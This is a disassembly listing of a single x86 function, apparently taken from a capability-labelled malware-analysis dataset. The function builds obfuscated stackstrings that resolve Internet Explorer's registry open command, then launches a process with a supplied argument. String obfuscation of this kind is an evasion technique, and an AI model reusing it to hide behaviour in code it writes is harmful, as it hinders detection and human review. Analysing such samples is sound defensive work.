Function at 0x407fc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1a4
push ebx
push ebp
push esi
push edi
push str.RegQueryValueA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x1b8]
mov ebp, eax
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x408219
mov al, 0x6f
mov cl, 0x70
mov byte [esp + 0x2d], al
mov byte [esp + 0x36], al
mov byte [esp + 0x44], al
mov byte [esp + 0x4a], al
mov al, 0x6d
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x34], cl
mov byte [esp + 0x45], cl
mov byte [esp + 0x4b], al
mov byte [esp + 0x4c], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xb0]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x54]
lea ecx, [esp + 0x24]
push eax
push 0xf003f
push 0
mov bl, 0x65
mov dl, 0x78
push ecx
push closesocket
mov byte [esp + 0x38], 0x41
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0x69
mov byte [esp + 0x3d], 0x63
mov byte [esp + 0x3e], 0x61
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x40], 0x69
mov byte [esp + 0x42], 0x6e
mov byte [esp + 0x43], 0x73
mov byte [esp + 0x44], 0x5c
mov byte [esp + 0x45], 0x69
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], dl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4b], 0x72
mov byte [esp + 0x4c], bl
mov byte [esp + 0x4d], 0x2e
mov byte [esp + 0x4e], bl
mov byte [esp + 0x4f], dl
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x5c
mov byte [esp + 0x52], 0x73
mov byte [esp + 0x53], 0x68
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], 0x6c
mov byte [esp + 0x57], 0x5c
mov byte [esp + 0x5a], bl
mov byte [esp + 0x5b], 0x6e
mov byte [esp + 0x5c], 0x5c
mov byte [esp + 0x5d], 0x63
mov byte [esp + 0x61], 0x61
mov byte [esp + 0x62], 0x6e
mov byte [esp + 0x63], 0x64
mov byte [esp + 0x64], 0
mov dword [esp + 0x6c], 0x104
call dword [0x477d3c]
test eax, eax
jne 0x408219
mov ecx, dword [esp + 0x54]
lea edx, [esp + 0x58]
lea eax, [esp + 0xb0]
push edx
push eax
push 0
push ecx
call ebp
mov edx, dword [esp + 0x54]
push edx
call dword [0x477d38]
lea eax, [esp + 0xb0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x408219
lea ecx, [esp + 0x10]
lea edx, [esp + 0xb0]
push ecx
push edx
mov byte [esp + 0x18], 0x25
mov byte [esp + 0x19], 0x31
mov byte [esp + 0x1a], 0
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x408219
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x70]
mov byte [esp + 0x14], 0x57
rep stosd dword es:[edi], eax
mov eax, 0x44
mov byte [esp + 0x15], 0x69
mov dword [esp + 0x6c], eax
mov byte [esp + 0x1c], al
mov eax, dword [esp + 0x1bc]
mov byte [esp + 0x16], 0x6e
test eax, eax
mov byte [esp + 0x17], 0x53
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x30
mov byte [esp + 0x1b], 0x5c
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x66
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x21], 0x6c
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
je 0x4081f3
lea eax, [esp + 0x14]
mov dword [esp + 0x74], eax
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x6c]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0xcc]
push 0
push eax
push 0
call dword [0x4781c8]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x1a4
ret